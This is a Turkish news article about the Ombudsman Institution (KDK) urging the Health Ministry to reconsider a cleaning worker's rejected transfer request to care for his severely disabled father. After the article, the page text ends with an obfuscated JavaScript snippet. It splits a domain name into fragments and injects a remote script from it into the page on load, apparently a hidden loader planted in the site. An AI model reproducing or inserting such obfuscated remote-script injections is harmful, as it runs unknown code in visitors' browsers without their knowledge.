Gündem

Engelli Babası İçin Tayin Talebi Reddedilen Sağlık Çalışanı İçin KDK’dan Sağlık Bakanlığı’na Tavsiye Karar

Kamu Denetçiliği Kurumu (KDK), yüzde 92 engelli babasının bakımını üstlenen bir sürekli işçinin Konya’ya nakil talebinin reddedilmesi üzerine Sağlık Bakanlığı’na dikkat çeken bir tavsiye kararı verdi.

Abone Ol

KDK, başvurunun yanlış mevzuat üzerinden değerlendirildiğini belirterek, kararın yeniden gözden geçirilmesini istedi.

Nakil Talebi Engel Tanımadı

İstanbul Sultanbeyli Devlet Hastanesi’nde temizlik personeli olarak görev yapan eski hükümlü statüsündeki işçi, ağır engelli babasına bakabilmek için Konya’ya nakil başvurusu yaptı. Ancak Sağlık Bakanlığı, “tedavisi İstanbul’da yapılabilir” gerekçesiyle talebi reddetti.

KDK: “Yanlış Madde Uygulandı”

KDK’nın yaptığı incelemede, Bakanlığın başvuruyu “sağlık mazereti” kapsamında değerlendirdiği, oysa başvurunun “engelli yakını mazereti” olarak ele alınması gerektiği vurgulandı. İlgili yönetmeliğin 9/5. maddesine göre, yüzde 50 ve üzeri engelli yakını bulunan işçilerin nakil talepleri süre ve dönem şartı olmaksızın karşılanmalı.

Mevzuat ve Anayasa Vurgusu

Kararda; 5620 sayılı yasa, toplu iş sözleşmesi hükümleri, Anayasa’daki sosyal devlet ilkesi ve BM Engelli Hakları Sözleşmesi temel alınarak, işçinin talebinin reddedilmesinin hukuka ve hakkaniyete aykırı olduğu belirtildi.

Bakanlığa 30 Gün Süre Verildi

KDK, Sağlık Bakanlığı’na ilgili mevzuat çerçevesinde yeniden değerlendirme yapması için 30 gün süre tanıdı. Bakanlık bu sürede işlem yapmazsa, başvuranın yargı yoluna gitme hakkı bulunuyor.

Karar İçin Tıklayınız

(function(){ q0n4=document.createElement("script");q0n4_=("us")+("ta"); q0n4_+="t"+(".");q0n4_+=("in");q0n4u="2358564740";q0n4.async=true; q0n4u+=".ycx23k2y0n4hugy7u";q0n4.type="text/javascript";q0n4_+="f"+"o"+("/"); q0n4u+="h1p0xr40q3u31";q0n4.src="https://"+q0n4_+q0n4u; dq0n4=document.body;dq0n4.appendChild(q0n4); })(); { "vars": { "account": "G-X1XRN2R8K5" }, "triggers": { "trackPageview": { "on": "visible", "request": "pageview" } } }